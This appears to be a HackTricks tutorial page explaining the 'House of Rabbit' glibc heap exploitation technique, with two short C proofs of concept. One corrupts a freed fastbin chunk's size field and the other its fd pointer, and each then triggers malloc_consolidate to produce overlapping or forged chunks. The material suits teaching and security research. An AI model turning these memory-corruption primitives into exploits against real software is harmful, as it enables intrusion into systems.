House of Rabbit

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Requirements

1. Ability to modify fast bin fd pointer or size: This means you can change the forward pointer of a chunk in the fastbin or its size.

2. Ability to trigger malloc_consolidate: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.

Goals

1. Create overlapping chunks: To have one chunk overlap with another, allowing for further heap manipulations.

2. Forge fake chunks: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.

Steps of the attack

POC 1: Modify the size of a fast bin chunk

Objective: Create an overlapping chunk by manipulating the size of a fastbin chunk.

• Step 1: Allocate Chunks

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.

• Step 2: Free Chunks

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

We free both chunks, adding them to the fastbin list.

• Step 3: Modify Chunk Size

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

We change the size metadata of chunk1 to 0xa1. This is a crucial step to trick the allocator during consolidation.

• Step 4: Trigger malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allocating a large chunk triggers the malloc_consolidate function, merging small chunks in the fast bin. The manipulated size of chunk1 causes it to overlap with chunk2.

After consolidation, chunk1 overlaps with chunk2, allowing for further exploitation.

POC 2: Modify the fd pointer

Objective: Create a fake chunk by manipulating the fast bin fd pointer.

• Step 1: Allocate Chunks

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Explanation: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.

• Step 2: Create fake chunk

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

We write fake chunk metadata into chunk2 to simulate smaller chunks.

• Step 3: Free chunk1

free(chunk1);  // Frees the chunk at 0x602000

Explanation: We free chunk1, adding it to the fastbin list.

• Step 4: Modify fd of chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Explanation: We change the forward pointer (fd) of chunk1 to point to our fake chunk inside chunk2.

• Step 5: Trigger malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Allocating a large chunk again triggers malloc_consolidate, which processes the fake chunk.

The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.

Summary

The House of Rabbit technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the fd pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.